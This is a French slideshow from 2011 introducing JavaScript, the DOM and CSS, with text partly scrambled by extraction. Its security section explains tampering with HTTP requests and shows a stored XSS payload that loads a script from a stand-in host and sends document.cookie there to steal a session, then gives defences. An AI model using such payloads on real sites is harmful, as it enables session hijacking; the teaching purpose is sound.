0253 Formation Javascript Dom Css

Introduction JavaScript
DOM & CSS

Magali Contensin
3 novembre 2011 JoSy AJAX et bibliothèques JS pour les ASR

Plan
Introduction JavaScript, DOM & CSS
 Publication sur Internet : HTML & CSS

 Présentation de JavaScript
 ECMAScript : le noyau du langage JavaScript
 Manipulation des objets du document
 Des débuts du dynamisme au DOM
 Modifier une page web avec JS, DOM et CSS
 Formulaires
 Sécurité
 Outils
Publication sur Internet
HTML
 Contenu d’une page HTML  Mise en page
objets  navigateur : style par défaut

image, vidéo, son  avant HTML 4.0.1 :
texte Titre
 éléments et attributs de style
bla bla
bla bla
bla bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
<fo t olo =" ed" size="4">…</fo t>
< e te >…</ e te >
bla bla bla bla bla bla bla bla
<h alig =" e te ">…</h >

tableau bla bla bla bla bla bla bla bla
bla bla bla bla bla bla

 utilisation de tableaux
x t a d i l
y
z
u
V
b
c
e
f K
j m
n
 HTML 4.01
liste bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla :
séparation structure / mise en forme
 bla bla bla
 bla bla
fo t, e te , … deprecated
 bla bla bla
bibliographie
=> feuilles de style CSS
lien hypertexte formulaire

Feuilles de style CSS
Textes : police, style, décoration, couleur,
Contrôler la présentation du document en
fo tio du dia a , i p i a te, …
alig e e t, espace e t, …
Blocs : marges, cadre Format visuel : position,

couleur flottant, visibilité, z-index
Titre

bla bla
bla bla
bla bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
Spécifications
bla bla
bla bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla CSS 2.1
Tableaux : bla bla bla bla bla bla bla bla
cadre, légende,
bla bla
bla bla
bla bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
CSS 3 en cours de développement
fond
bla bla bla bla bla bla
x t a d i l Quelques nouveautés CSS3 :
y u b e j m
Listes : puce, z V c f K n
colonnes dégradé
numérotation bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla :
 bla bla bla

effets sur le texte transparence
 bla bla rgba
 bla bla bla transformations ombre
Liens : couleur, bibliographie
décoration arrondi
sélecteurs
Survol Fond : couleur, image pair/impair
BIBLIOGRAPHIE
(position, répétition,
Curseurs attachement)
Feuilles de style CSS
Priorités Le CSS peut être placé dans : Sélecteur
(1) fichier externe .css 1 élément
<!DOCTYPE html PUBLIC style du
"-//W3C//DTD HTML 4.01//EN" (2) élément style
navigateur 2 *
"http://www.w3.org/TR/html4/strict.dtd"> (3) attribut style
<html> règle 3 #id
<head>
<title>test CSS</title> 1 externe 4 .classe
sélecteur { [déclaration ; ]+ }
<link rel="stylesheet" type="text/css" href="style.css">
<style type="text/css">
5 :pseudo-
propriété:valeur classe

/* sélectionne les éléments p */
</style>
</head> }
3 local 2 4 *.ex { /* éléments qui ont class=ex */
<body>
<h1 style="text-align:center; color:navy">titre</h1> border: 1px solid silver;
<p>C’est u <e >test</e > de st le.</p> } /* équivalent à .ex (* implicite) */
<p id="p2">Un 2eme <em>paragraphe</em></p> 1 5 h1:hover { /* survol de h1 */
<p class="ex" style="color:black">test de classe</p> background-color:#CCCCCC
</body>
titre }
</html>
C’est un test de style. 3 #p2 { /* l’ l e t ui a id=p */
préférences Un 2eme paragraphe
text-align:right;
test de classe
utilisateur } style.css
Présentation de JavaScript
 Langage de programmation orienté-objet interprété par le navigateur

syntaxe proche de Java
 Histoire
 Netscape 2.0 JavaScript – mars 1996
 Microsoft IE 3.0 JScript (en partie compatible avec JS) – août 1996
 Rendu public par Netscape, standardisé par l’ECMA en juin 1997
 Evénementiel : permet de réagir à des actions de l’utilisateur
Ajout de dynamisme dans la page web
 Vérification de formulaires
 Avant CSS : roll-over, menus
 Modification de la structure, du contenu et du style de la page
 Deux parties :
 Syntaxe du langage : ECMAScript
 Manipulation des objets du document : DOM
Présentation de JavaScript
insertion de code JS dans la page web
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html> function pair(){
<head> nb = prompt('entrez un nombre', '');
<title>test JS</title> 1 (nb%2 == 0) ? alert('pair') : alert('impair');
<script type="text/javascript" src="script.js"></script> }
</head> script.js 1
<body>
<script type="text/javascript">

</script>
<noscript><p>activez JS !</p></noscript>
<div> Le code peut être placé dans :
<h1>Test JS</h1> hello
<a href="javascript:affiche_date()">date</a> (1) fichier externe .js
3 <a href="javascript:alert('hello')">hello</a>
<form action="test.php"> (2) élément script
<div><input type="button" value="clic" onclick="pair()"></div>
</form> (3) attribut contenant URL
</div> 4
</body> (4) attribut événementiel
</html> onclick, onchange, onselect,…
ECMAScript
bases du langage
variable a ue de fi d’i st uctio
types création objet
boolean var ne = 0; invocation
number var age = 0; méthode
string var txt = '';
object var date_courante = new Date();
null var annee_courante = date_courante.getFullYear();
undefined var exp = /^[12]\d{3}$/; // format 1xxx ou 2xxx
opérateurs
/* tant que l'utilisateur n'a pas saisi une affectation
commentaires
annee correcte afficher boite dialogue */ = += -= *= /= %=
do { logiques ! && ||
marques ne = prompt('annee ', '');
relationnels
de bloc
} while ( !exp.test(ne ) || (ne > annee_courante)); < <= > >= == != === !==
arithmétiques + - */ %
age = annee_courante - ne;
concaténation +
autres opérateurs
txt= 'vous avez ' + age + ' ans';
incrémentation ++
(age%10 == 0) ? alert(txt+' ... nouvelle decennie') : alert(txt);
décrémentation --
opérateur conditionnel séquentiel ,
ternaire objets : this, in
ECMAScript
bases du langage
 Instructions conditionnelles  Instructions itératives
if (expr){ while (expr){ do{

// code si expression true … …
} } } while (expr);
else {
// code si expression false
} for (exp1 ; exp2 ; exp3){
...
var today = new Date(); }
switch (today.getDay()){
case 0 :
for (var i in objet){
case 6 : jour = "week-end"; break;
...
case 1 :
}
case 2 :
case 4 :
case 5 : jour = "semaine"; break;
case 3 : jour = "mercredi"; break;  Instructions d’interruption :
default : jour = "non defini";
break, continue
}
alert(jour);
ECMAScript
bases du langage
 Fonctions  Mathématiques
Math
Déclaration
Ne peut pas être utilisé avec new
function nom_fonction([arg1,...,argN]){
...
return expression; // optionnel Constantes
}
Math.PI
Appel Méthodes
o _fo tio ag ,ag ,… ; ceil, floor, round
min, max
Les arguments sont passés par valeur random
Les objets sont passés par adresse abs, sqrt, pow
t igo o t ie : si , os, …
alert(Math.ceil(7.48));
alert(Math.random());
ECMAScript
bases du langage
 Tableaux
Création Accès Propriétés
tab[i] avec i >= 0 Taille d’u ta leau : length
var tab1 = new Array val , val , … ;
va ta = val , val , … ; Parcours Méthodes
var tab3 = new Array(); for, for in, while join, reverse, sort, …
var tab = new Array(125, 'hello', false); 125 hello false

tab[0] = 'xxx'; xxx hello false length : 3
var contenu = '';
for (var i=0; i < tab.length; i++){ 0 1 2
contenu += tab[i]+', ';
} xxx, hello, false,
alert(contenu);
contenu = '';
tab.reverse(); false hello xxx
for (i in tab){
contenu += tab[i]+', ';
false, hello, xxx,
}
alert(contenu);
ECMAScript
bases du langage
 Chaînes de caractères
Création <input type="text" name="nb1"> +

<input type="text" name="nb2"> =
var ch1 = new String('hello !'); <input type="text" name="res">
var ch2 = 'hello !';
ch2 = "test";
Caractères spéciaux <input type="button" value="calculer"

Ca a t e d’ happe e t : \ onclick="res.value = nb1.value + nb2.value">
Caractères espacement : \n \t \f
Propriétés
Taille d’u e haî e : length <input type="button" value="calculer"
onclick="res.value = parseFloat(nb1.value) +
Méthodes parseFloat(nb2.value)">
substring, toLowerCase, toUpperCase
split, …
Conversion :
parseInt, parseFloat
ECMAScript
bases du langage
 Expressions régulières I dicateu s d’occu e ce

{n} exactement n fois * {0,}
Déclaration {n,} au moins n fois + {1,}
var exp = new RegExp('modele'[,'options']); {n,m} entre n et m fois ? {0,1}
var exp = /modele/[options] Mode glouton par défaut (paresseux ajouter ?)
Options : i insensible à la casse Caractères spéciaux
m multi-ligne | ou . tout caractère sauf \n
g toutes les correspondances \t tabulation \n saut de ligne
\0 car. nul \ a . d’ happe e t
Méthodes
Classes de caractères
exp.test(ch) true si correspondance
ch.search(exp) indice 1ere correspondance [abc] un caractère parmi a, b ou c
exp.exec(ch) tableau des correspondances [a-z] intervalle : un caractère de a à z
ch.replace(exp, ch2) remplace corresp par ch2 [^ab] un caractère autre que a ou b
\d un chiffre \D tout sauf un chiffre
var exp = /(\d{2}) (\w+) (\d{4})/; \w [a-zA-Z0-9–] \W tout sauf mot
var ch = "28 octobre 2011"; \s espacement \S tout sauf car. esp.
if (exp.test(ch)){ Correspondances dans la chaîne
alert(ch.replace(exp, ^ début $ fin
"annee : $3, mois : $2, jour : $1")); Mémorisation
// annee : 2011, mois : octobre, jour : 28 (x) Mémoriser sous expression x
}
ECMAScript
bases du langage
 Dates et heures
Création
var date_courante = new Date([timestamp]);
ma_date = new Date(an, mois, jour[, h, mn, s, ms]);
Méthodes pour les dates

getDay var jour = new Date();
getMonth setMonth alert(jour.getFullYear());
getFullYear setFullYear // 2011
getDate setDate
Méthodes pour les heures var noel = new Date(2011, 11, 25);
alert(noel.toLocaleString());
getHours setHours
// dimanche 25 décembre 2011 00:00
getMinutes setMinutes
getSeconds setSeconds
getMilliseconds setMilliseconds
toLocaleString
ECMAScript
bases du langage
 Objets
Exceptions
Création try {
// code où une exception peut être levée
Pas de classe, fonction constructeur ou notation { } } catch (e){
C atio d’o jet : new // t aite e t e as d’e eptio
}
function calculeAge() { var client1 = new humain('Dupont','Jean',

var auj = new Date(); 'France', 1960);
var age_courant = auj.getFullYear() - this.annee;
return age_courant;
} Notation alternative - JSON
// constructeur
function humain(nom, prenom, habite, an){ client1 = {
// proprietes 'nom':'Dupont',
this.nom = nom; 'prenom':'Jean',
this.prenom = prenom; 'pays':'France',
this.pays = habite; 'annee':1960,
this.annee = an; 'age': calculeAge
this.age = calculeAge; // methode }
}
Manipulation des objets du document
des débuts du dynamisme au DOM
 Netscape & IE <= 4 accès à un nombre restreint d’éléments de la page :

 images document.images[0].src
 champs de formulaires document.forms[0].elements[0].name
 liens hypertextes document.links[0].href
 DHTML - modification dynamique de documents HTML

Modification du style - 2 méthodes incompatibles :
 Netscape 4 à 6 document.layers
 IE >= 4 document.all
 DOM (Document Object Model) – W3C

Indique comment accéder dynamiquement au contenu, au style et à la
structure de documents XML et HTML
 Modification des contenus des éléments et attributs (textes, images, …)
 Modification de la structure du document : ajout / suppression / modification d’éléments
 Modification du style de la page
dynamisme
 Compte à rebours, exécution périodique de code

 Boîtes de dialogue (alert, confirm, prompt) et barre d’état (status)
 Déterminer la configuration de l’utilisateur
 écran screen.width
 navigateur navigator.userAgent
 Fenêtres : ouverture, fermeture, déplacement, redimensionnement
 URL window.location.replace('http://www.google.fr');
 Historique <input type="button" value="back" onclick="window.history.back()">
 Cookies document.cookie
 Images : redimensionnement, roll-over
document.images[0].width *= 2
<img src="terre.jpg" alt="planetes" onmouseover="this.src='lune.jpg'"
onmouseout="this.src='terre.jpg'">
 Modification de la structure, du contenu et du style de la page
DOM – arbre du document
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head> T pes de œuds
<title>test</title> Document
</head> Element
<body> Attr
<p id="elt1" style="color:purple"> Comment
un <em>test</em> ! racine Text
</p> html
<p>:)</p>
 œud o
head body
</body> terminal
</html> title
texte
test
p p comment
un commentaire
attr attr texte em texte texte
name id name style un ! :)

texte
value elt1 value color:purple œud
test
terminal
DOM – p op i t s des œuds
Document HTMLDocument HTMLHtmlElement node
Text HTMLHeadElement
nodeName nodeType
CharacterData HTMLTitleElement
Comment parentNode childNodes
Node HTMLBodyElement
firstChild lastChild
Element HTMLElement HTMLFormElement
nextSibling previousSibling
HTMLSelectElement
Attr attributes
parentNode HTMLInputElement
élément élément HTML
body
tagName className title
nextSibling
id
p p
firstChild lastChild attribut texte
name value data length
texte em texte texte
un ! :)
texte
test
childNodes
DOM – acc s au œuds
Accès par
ID document.getElementById('id_element') -> noeud
Nom d’ l e t document.getElementsByTagName('nom_element') -> olle tio de œuds
Valeu de l’att i ut name document.getElementsByName('val_attribut') -> collection de œuds
<body> un test ! Collection = tableau de nœuds

<p id="elt1" style="color:purple"> :)
prédéfinies : forms, images, links
un <em>test</em> !</p> fils d’u œud : childNodes
<p>:)</p> body parentNode att i uts d’u œud : attributes
</body> nom : getElementsByName
p p attr. name : getElementsByTagName
a sàu œud : [i] ou item(i)
attr attr texte em texte texte avec i >= 0
0 1 2
name id name style un ! :)
value elt1 value color:purple texte
test
attributes
childNodes
var el = document.getElementById('elt1');
alert(el.tagName); // P var tab_el = document.getElementsByTagName('p');
alert(el.parentNode.nodeName); // BODY alert(tab_el[0].childNodes[2].nodeName); // #text
alert(el.childNodes[1].nodeName) // EM alert(tab_el[0].childNodes[2].data); // !
DOM – modifier la structure et le contenu
un test ! body Contenu
:)
DOM 0 : innerHTML, innerText
id=elt1 p p
Lecture : data
Ajout : appendData(txt), insertData(i, txt)
texte em texte texte
Modifier : replaceData(i, j, txt)
un ! :) Supprimer des caractères : deleteData(i, taille)
texte
test Structure : manipuler les noeuds

c'est un test !!! Créer : createElement('nom'),
:) body
createTextNode('texte')
:) Ajouter : appendChild œud , insertBefore(n1,n2)
Supprimer : removeChild(i)
id=elt1 p p
Remplacer : replaceChild(noeud_src, noeud_cible)
Cloner avec arborescence : cloneNode(true)
texte em texte p texte
c’est un !!! :)
texte texte
test :)
el.firstChild.insertData , " ’est " ;
el.lastChild.appendData("!!");
// DOM 0
node = el.nextSibling.cloneNode(true);
el.innerHTML = " ’est u <em>test</em> !!!<p>:)</p>";
el.appendChild(node);
DOM – modifier le style avec JS & CSS
Modifier le style un test ! body
Propriété CSS : :)
node.style.propriete = 'valeur'; p p
Classe de style :
node.className = 'nom_classe'; attr attr texte em texte texte
Possibilité de modifier/ajouter/supprimer name id name style un ! :)

value elt1 value color:purple texte
des règles (accès à la feuille de style CSS)
test
<style type="text/css"> un test !

.ex {
border:2px dotted silver;
:)
}
</style> name style
body
value font-size:18pt
var el = document.getElementById('elt1'); attr p p
el.parentNode.style.fontSize = '18pt';
el.className = 'ex'; attr attr attr texte em texte texte
el.style.fontFamily = 'Calibri'; un
name class name id name style ! :)
texte
value ex value elt1 value color:purple;
font-family:Calibri test
DOM – manipuler les formulaires
<form action='test.php' onsubmit="return confirm('envoyer?')"> .erreur { background-color:#FFCCCC }
<div> .correct { background-color:white }
<input type="text" name="nb" onchange="verifNb(this)">
<input type="radio" name="choix" value="1" propriétés - champs textes
onclick="cb.disabled=true"> cheque text, hidden, password, textarea,
<input type="radio" name="choix" value="2" boutons submit, reset, button
onclick="cb.disabled=false" checked> CB value defaultValue
<input type="text" name="cb">
<input type="submit" value="envoyer"> propriétés - radio / cases à cocher
</div> value checked
</form> désactivé propriétés - listes de choix
selectedIndex options (collection)
prop. options : selected, value, text
Evénements
function verifNb(noeud){ envoyer ?
onsubmit, onreset, onclick,
if (isNaN(noeud.value)){ onchange, onblur, onfocus, onselect
noeud.className='erreur'; Bloquer un événement
} else { return false;
noeud.className='correct';
Activer/désactiver des champs
} envoi bloqué
} propriétés disabled et readOnly
Sécurité
 Code visible par tous même si obscurcissement de code (obfuscation)

Sécurité
 La vérification des données côté client est insuffisante

 JS désactivé
Sécurité
la vérification des données côté client est insuffisante
Altération manuelle
altération URL de la requête HTTP
http://www.vacances.fr/reservation.php?id=2
variables dans serveur

la query string
client
POST /reservation.php?id=2 HTTP/1.1

Host: www.vacances.fr
altération Cookie: lang=fr;id=214535E1FA
formulaire User-Agent: Firefox
(enregistrer, Content-Type: application/x-www-form-urlencoded
modifier) Content-Length: 11
variables lieu=venise
dans le corps
Sécurité
la vérification des données côté client est insuffisante
Outils pour modifier

la requête HTTP
plugin
(tamperData, proxy serveur
tamperIE) (webScarab)
client
POST /reservation.php?id=2 HTTP/1.1

Host: www.vacances.fr
en-tête en-tête Cookie: lang=fr;id=214535E1FA
User-Agent: Firefox
Content-Type: application/x-www-…
corps corps Content-Length: 11
lieu=venise
Altération
client
telnet 80 variables en-tête & corps
Requête forgée valeurs champs en-tête
Sécurité

 JS désactivé
 Altération manuelle de la requête HTTP
 Outils pour manipuler les données de la requête
=> vérifier les données côté serveur
type
présence de toutes les données attendues
bornes
taille
liste de valeurs (select, radio, checkbox)
Sécurité

 JS désactivé
 Altération manuelle de la requête HTTP
 Outils pour manipuler les données de la requête
=> vérifier les données côté serveur
 XSS
Open Web Application Security Project

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Les 10 risques les plus critiques des applications web

(19/04/2010)
Sécurité
XSS (Cross Site Scripting)
Exécution de code malveillant dans le navigateur
 Envoi de contenu actif au client

 Contenu exécuté par le client
 But
 vol de session
document.cookie
 défiguration
 hameçonnage (phishing)
document.location
Sécurité
XSS – exemple simple
nom Smith
mail john.smith@bad.org
serveur
Inscription OK
Nom : Smith
Sécurité
XSS – exemple simple
nom Smith<script>alert(document.cookie)</script>
serveur
Inscription OK
Nom : Smith
Sécurité
XSS – attaque stockée
XSS envoyé par le pirate
Smith <script
src=http://bad.org/c.js>
</script>
Application XSS
Web SGBD
XSS
nom Smith<script src=http://bad.org/c.js></script>
Sécurité
l’a s à la essou e
p ovo ue l’e voi du XSS
administrateur Smith <script

1 GET liste_inscrits.php </script>
Application XSS
Web SGBD
XSS 2
Smith <script src=http://bad.org/c.js></script>
Sécurité
exécution du XSS

Application XSS
Web SGBD
XSS 2
3
GET http://bad.org/c.js
bad.org
Sécurité
exécution du XSS

Application XSS
Web SGBD
XSS 2
3
document.write(‘<img src=http://bad.org/c.php?’+document.cookie+’ width=1>’) 4
c.js
bad.org
Sécurité
le jeton de session est

envoyé

Application XSS
Web SGBD
XSS 2
3
5
document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>') 4
GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js
bad.org
Sécurité
exploitation des
informations de session

Application XSS
Web SGBD
XSS 2
3
5
vol de session idsess=a2345effb9ccd78 6
document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>') 4
GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js
bad.org
Sécurité
protection contre le XSS
 Développeur
 deux règles de protection contre le XSS
 filtrer les entrées (listes blanches)
 protéger les sorties
 définir le jeu de caractères de la page web
 coder les entités html
 protéger le jeton de session avec le flag httpOnly

Attention à la fausse sensation de sécurité
(attaques XST : requête HTTP TRACE)
 Utilisateur
Outils
 Bibliothèques JavaScript
 Framework : jQuery, Dojo, Prototype, …
 Firebug :
 onglet DOM
 Style (CSS)
 Script (débogueur)
 Modernizr http://www.modernizr.com
 Tests de conformité
 ACID 3 (CSS, DOM2, ECMAScript) http://acid3.acidtests.org/
 DOM Conformance test suites ECMAScript http://www.w3.org/DOM/Test
 http://test262.ecmascript.org/
Liens
 Spécifications
 ECMAScript http://www.ecma-international.org/publications/standards/Ecma-262.htm
 DOM (Level 2 HTML) http://www.w3.org/DOM/DOMTR.html
 CSS 2.1 (Recommandation W3C juin 2011) http://www.w3.org/TR/CSS2
 CSS 3 :
http://www.w3.org/Style/CSS/specs
 sélecteurs (Rec. W3C septembre 2011) http://www.w3.org/TR/css3-selectors
 colonnes (CR W3C avril 2011) http://www.w3.org/TR/css3-multicol
 Sécurité
 OWASP (Open Web Application Security Project)
 http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
 http://www.owasp.org/index.php/Category:OWASP_Guide_Project
 CWE / SANS Top 25 Most Dangerous Software Errors 2011
http://cwe.mitre.org/top25

0253 Formation Javascript Dom Css

Transféré par

Informations du document

Titre original

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

0253 Formation Javascript Dom Css

Transféré par

Droits d'auteur :

Formats disponibles

Introduction JavaScript

DOM & CSS

3 novembre 2011 JoSy AJAX et bibliothèques JS pour les ASR

 Publication sur Internet : HTML & CSS

 Contenu d’une page HTML  Mise en page

objets  navigateur : style par défaut

<h alig =" e te ">…</h >

bla bla bla bla bla bla

lien hypertexte formulaire

Blocs : marges, cadre Format visuel : position,

bla bla bla bla bla bla bla bla

 bla bla bla

 Langage de programmation orienté-objet interprété par le navigateur

 Instructions conditionnelles  Instructions itératives

if (expr){ while (expr){ do{

var tab = new Array(125, 'hello', false); 125 hello false

Création <input type="text" name="nb1"> +

Caractères spéciaux <input type="button" value="calculer"

 Expressions régulières I dicateu s d’occu e ce

Méthodes pour les dates

function calculeAge() { var client1 = new humain('Dupont','Jean',

 Netscape & IE <= 4 accès à un nombre restreint d’éléments de la page :

 DHTML - modification dynamique de documents HTML

 DOM (Document Object Model) – W3C

 Compte à rebours, exécution périodique de code

name id name style un ! :)

<body> un test ! Collection = tableau de nœuds

test Structure : manipuler les noeuds

Modifier le style un test ! body

Possibilité de modifier/ajouter/supprimer name id name style un ! :)

<style type="text/css"> un test !

 Code visible par tous même si obscurcissement de code (obfuscation)

 Code visible par tous même si obscurcissement de code (obfuscation)

 La vérification des données côté client est insuffisante

variables dans serveur

POST /reservation.php?id=2 HTTP/1.1

Outils pour modifier

POST /reservation.php?id=2 HTTP/1.1

 Code visible par tous même si obscurcissement de code (obfuscation)

 La vérification des données côté client est insuffisante

 Code visible par tous même si obscurcissement de code (obfuscation)

 La vérification des données côté client est insuffisante

Open Web Application Security Project

Les 10 risques les plus critiques des applications web

Exécution de code malveillant dans le navigateur

 Envoi de contenu actif au client

XSS envoyé par le pirate

nom Smith<script src=http://bad.org/c.js></script>

administrateur Smith <script

administrateur Smith <script

administrateur Smith <script

document.write(‘<img src=http://bad.org/c.php?’+document.cookie+’ width=1>’) 4

le jeton de session est

administrateur Smith <script

document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>') 4

GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js

administrateur Smith <script

document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>') 4

GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js

 protéger le jeton de session avec le flag httpOnly

Vous aimerez peut-être aussi